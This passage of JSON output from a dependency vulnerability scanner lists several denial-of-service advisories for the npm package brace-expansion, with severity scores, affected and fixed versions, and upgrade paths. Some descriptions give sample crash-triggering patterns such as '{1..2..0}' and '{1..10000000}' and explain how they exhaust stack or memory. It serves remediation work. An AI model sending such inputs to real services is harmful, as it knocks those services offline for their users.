Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in 